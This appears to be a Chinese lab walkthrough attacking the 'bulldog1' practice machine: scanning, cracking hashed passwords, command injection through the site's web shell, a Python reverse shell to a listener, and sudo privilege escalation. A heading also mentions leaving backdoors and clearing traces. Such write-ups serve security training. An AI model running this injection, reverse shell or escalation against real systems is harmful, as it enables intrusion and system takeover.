靶机渗透(二)bulldog1

靶机bulldog1

 

一、实验环境

二、实验步骤

(一)信息收集

1.查询测试机IP地址,判断所处网段

2.主机发现(netdiscover)

3.端口扫描(masscan/namp)

(二)http服务(80/8080端口)

1.靶机开启apache服务,尝试web渗透

2.网站指纹信息扫描(whatweb)

3.目录扫描(dirb)

4.查看/admin页面

5.查看/dev/shell页面

6.查看/dev页面

7.Hash碰撞

8.登录/admin

(三)获取webshell权限

1.命令注入

2.获取反弹shell

3.提权

4.进行各种操作,留后门,清除痕迹


一、实验环境

1.靶机:bulldog1

2.测试机:Kali

3.帮凶机:Windows 10

二、实验步骤

(一)信息收集

1.查询测试机IP地址,判断所处网段

靶机渗透(二)bulldog1_第1张图片

  • 测试机(Kali)所处网段为:192.168.10.0/24

2.主机发现(netdiscover)

netdiscover -i eth0 -r 192.168.10.0/24

靶机渗透(二)bulldog1_第2张图片

  • 发现四台主机,分别为:192.168.10.1(物理机VMnet8的网卡IP)、192.168.10.2(网关)、192.168.10.143(目标主机IP)、192.168.10.254(网络边际)

3.端口扫描(masscan/namp)

masscan --rate=10000 --ports 0-65535 192.168.10.143
nmap -sV -T4 -p 80,8080,23 192.168.10.143

靶机渗透(二)bulldog1_第3张图片

靶机渗透(二)bulldog1_第4张图片

  • 开启了80、8080(http),23(ssh)端口

  • 23端口原为telnet服务,而此靶机却设置为了ssh服务

(二)http服务(80/8080端口)

1.靶机开启apache服务,尝试web渗透

http://192.168.10.143

靶机渗透(二)bulldog1_第5张图片

2.网站指纹信息扫描(whatweb)

whatweb 192.168.10.143

靶机渗透(二)bulldog1_第6张图片

3.目录扫描(dirb)

dirb http://192.168.10.143

靶机渗透(二)bulldog1_第7张图片

靶机渗透(二)bulldog1_第8张图片

  • 扫描到几个可查看可利用路径

4.查看/admin页面

http://192.168.10.143/admin

靶机渗透(二)bulldog1_第9张图片

  • 重定向到了一个登录界面,尝试弱口令登录与SQL注入均失败

5.查看/dev/shell页面

http://192.168.10.143/dev/shell

  • webshell无法使用(只有登录之后才能使用)

6.查看/dev页面

http://192.168.10.143/dev

靶机渗透(二)bulldog1_第10张图片

  • 可知,新系统不再使用PHP或任何CMS,而使用Django框架开发

  • 这意味着,不太可能再找到网页的注入漏洞,只能找到Django漏洞;网站不使用PHP,无需再找php漏洞或写木

靶机渗透(二)bulldog1_第11张图片

  • 查看网页源代码,发现疑似账号密码,可进行hash碰撞

7.Hash碰撞

靶机渗透(二)bulldog1_第12张图片

靶机渗透(二)bulldog1_第13张图片

  • Hash碰撞,得到两组疑似账号密码
  • 用户名:nick,密码:bulldog
  • 用户名:sarah,密码:bulldoglover

8.登录/admin

靶机渗透(二)bulldog1_第14张图片

靶机渗透(二)bulldog1_第15张图片

  • 使用hash碰撞得到的两个账号密码都可登录
  • 此时查看/dev/shell页面,可以拿到webshell

(三)获取webshell权限

1.命令注入

靶机渗透(二)bulldog1_第16张图片

  • 此时的webshell只能使用给定的几个命令

  • 尝试使用命令注入(&&、&、|),成功

2.获取反弹shell

a.测试机使用python命令搭建建议web服务(开启80端口)

python -m SimpleHTTPServer 80

靶机渗透(二)bulldog1_第17张图片

b.在webshell上执行wget命令

pwd & wget http://192.168.10.128

靶机渗透(二)bulldog1_第18张图片

c.在测试机的web服务的目录下编写shell.py文件

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.128",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

靶机渗透(二)bulldog1_第19张图片

d.在webshell下载shell.py文件

python -m SimpleHTTPServer 80
ls & wget http://192.168.10.128/shell.py

靶机渗透(二)bulldog1_第20张图片

靶机渗透(二)bulldog1_第21张图片

  • 使用python命令开启80端口,以获取目标文件

  • 需在该文件所在的目录下,使用python命令

e.在测试机进行监听

nc -vnlp 1234

f.在webshell执行shell.py

ls & python shell.py

靶机渗透(二)bulldog1_第22张图片

靶机渗透(二)bulldog1_第23张图片

  • 获取反弹shell

3.提权

a.进入/home目录下,查看是否有其他用户

靶机渗透(二)bulldog1_第24张图片

b.查看命令历史文件

靶机渗透(二)bulldog1_第25张图片

  • 发现隐藏目录.hiddenadmindirectory
  • 也可以使用ls -a查看隐藏文件
  • 该目录下有两个文件,一个note提示,一个可执行文件

c.利用strings查看可执行文件中的字符

strings customPermissionApp

靶机渗透(二)bulldog1_第26张图片

  • 可以得到疑似密码:SUPERultH、imatePASH、SWORDyouH、CANTget(这些密码可能与最高权限账号有关)
  • 凭经验得密码:SUPERultimatePASSWORDyouCANTget

d.尝试提权

靶机渗透(二)bulldog1_第27张图片

  • 无法提权,需打开一个新的终端
  • django用户在sudo组

e.使用python命令打开一个终端,并进行提权

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -i

靶机渗透(二)bulldog1_第28张图片

  • python命令打开新终端,虽显示“Permission denied”,但只是执行/bin/bash被拒绝,打开的是python命令下的终端,而不是/root下的终端
  • 再次提权成功

4.进行各种操作,留后门,清除痕迹

 


总结:

1.网页源代码中往往隐藏着许多信息

2.搭建临时web服务(python -m SimpleHTTPServer 80)

3.编写一个shell脚本,可利用命令执行漏洞获取shell

4.查看历史记录、隐藏文件等,可能发现有用信息

5.使用sudo命令(sudo -i / sudo su root)提权时,需先打开一个终端

你可能感兴趣的:(靶机渗透)